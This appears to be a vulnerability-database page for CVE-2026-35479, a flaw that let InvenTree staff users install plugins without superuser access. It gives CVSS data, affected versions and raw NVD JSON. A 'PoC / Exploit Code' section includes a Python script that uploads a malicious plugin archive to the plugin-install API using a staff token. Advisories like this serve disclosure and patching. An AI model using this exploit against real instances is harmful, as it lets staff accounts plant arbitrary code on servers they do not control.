Security Vulnerability Report
中文
CVE-2026-35479 CVSS 6.6 MEDIUM

CVE-2026-35479

Published: 2026-04-08 20:16:25
Last Modified: 2026-04-21 13:35:16

Description

InvenTree is an Open Source Inventory Management System. Prior to 1.2.7 and 1.3.0, any users who have staff access permissions can install plugins via the API, without requiring "superuser" account access. This level of permission requirement is out of alignment with other plugin actions (such as uninstalling) which do require superuser access. The vulnerability allows staff users (who may be considered to have a lower level of trust than a superuser account) to install arbitrary (and potentially harmful) plugins. This vulnerability is fixed in 1.2.7 and 1.3.0.

CVSS Details

CVSS Score
6.6
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:inventree_project:inventree:*:*:*:*:*:*:*:* - VULNERABLE
InvenTree < 1.2.7
InvenTree < 1.3.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Configuration target_url = "http://your-inventree-instance.com" api_token = "YOUR_STAFF_USER_API_TOKEN" # Requires staff permission plugin_file_path = "malicious_plugin.tar.gz" # The vulnerable API endpoint for plugin installation endpoint = f"{target_url}/api/plugin/install/" headers = { "Authorization": f"Token {api_token}" } try: with open(plugin_file_path, 'rb') as f: files = {'file': f} # Send POST request to install the plugin response = requests.post(endpoint, headers=headers, files=files) if response.status_code == 201: print("[+] Exploit successful: Plugin installed.") else: print(f"[-] Exploit failed: {response.status_code} - {response.text}") except Exception as e: print(f"[!] Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-35479", "sourceIdentifier": "[email protected]", "published": "2026-04-08T20:16:24.770", "lastModified": "2026-04-21T13:35:16.203", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "InvenTree is an Open Source Inventory Management System. Prior to 1.2.7 and 1.3.0, any users who have staff access permissions can install plugins via the API, without requiring \"superuser\" account access. This level of permission requirement is out of alignment with other plugin actions (such as uninstalling) which do require superuser access. The vulnerability allows staff users (who may be considered to have a lower level of trust than a superuser account) to install arbitrary (and potentially harmful) plugins. This vulnerability is fixed in 1.2.7 and 1.3.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:L", "baseScore": 6.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.2, "impactScore": 3.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-285"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:inventree_project:inventree:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.2.7", "matchCriteriaId": "8BE44F53-DDEE-4BA3-B8E3-1C88EBAB4DA0"}]}]}], "references": [{"url": "https://docs.inventree.org/en/stable/concepts/threat_model/#assumed-trust", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://docs.inventree.org/en/stable/start/config/#plugin-options", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/inventree/InvenTree/security/advisories/GHSA-7c3q-vwcv-2vp7", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}